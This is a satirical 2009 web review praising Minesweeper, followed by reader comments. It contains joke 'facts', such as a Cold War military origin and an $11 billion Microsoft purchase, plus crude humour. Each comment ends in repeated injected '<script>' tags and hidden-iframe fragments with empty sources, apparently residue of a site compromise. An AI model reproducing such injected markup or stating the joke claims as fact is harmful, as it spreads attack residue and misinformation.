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Minesweeper Review
by Kris on 2/13/2009 (5)

Who made it?

Cold War Simulation

Number of players



Number of underwear changes that you will need

People that enjoy Minesweeper may also enjoy
Walks on the beach
Slamming cough medicine
Fanny packs... just kidding!

People that don't enjoy Minesweeper
Should be punched in the face
Should be shot into the sun
Enjoy sodomy

If you took the world's greatest art, music, and sandwiches, wrapped them in bacon, deep-fried them, covered them in warm nacho cheese served with a side of rice and beans then turned that into a video game, what you would have, while undeniably delicious, would still pale in comparison to the sheer brilliance that is Minesweeper.

Originally designed during the Cold War as a training exercise for the military, the rights to Minesweeper were later purchased by Microsoft for $11 billion and included in early versions of their Windows operating system. Bill Gates, founder of Microsoft, has often attributed their success to Minesweeper.

"I often attribute the success of Microsoft to Minesweeper," attributed Bill Gates oftenly.

The concept of Minesweeper is simple yet brilliantly executed. Players are presented with a grid of clickable blocks. Behind each block is either nothing or a mine. Click a mine, and you lose in a horrific explosion that harkens back to the December 7, 1941 surprise attack of Pearl Harbor. Click nothing and a glorious domino effect clears that block and any other mine-free blocks that it happens to touch. On screen numbers give you an idea of how many mines are in a given area, further increasing the strategery of the game.

Clear all the non-minded spaces and you are rewarded with a smiling face. A frowning face and untold shame greet those who cannot win.

Minesweeper is undeniably addictive. It is easy to begin playing and subsequently be fired from you day job after missing an entire week of work then spiral into uncontrollable cough medicine abuse but eventually realize the errors of your ways when you wake up naked in a dumpster behind a Chinese restaurant in a town 300 miles from your home.

The Good Everything.
The Bad Nothing.
The Ugly Pre-Windows 3.1, which did not come with Minesweeper.
Overall Easily the best game ever, putting all other games (and forms of entertainment besides this website) to shame. If you own one game, it should be this one. If you own two games, it should be two copies of this one. If you own three games, you should try out Frogger, it's rather fun too.

1,000 out of 10
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1. by The Rockin' Donkey on 2/14/2009 1:25:07 PM
OK. Minesweeper is cool, but it pales in comparison to PONG for the title of Best Game Ever. src=" </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
2. by Jon on 2/14/2009 11:15:06 PM
You fail to mention that the smiling face also has cool sun glasses.

Other facts:

Anonymous is the worst known record hold in the history of the game.

I am the only known player to have ever cleared expert level without using flags to mark mines. After that, I quit the game and got a girlfriend.< </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
3. by Jack-O on 2/15/2009 12:42:45 AM
Hey! I enjoy Minesweeper AND sodomy...what can your review do for me? </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
4. by Kris on 2/16/2009 8:58:27 AM
I fear nothing can help you."0" sty </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
5. by ailaG on 4/6/2009 2:32:50 PM
xyzzyisplay:none"></ifr </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>

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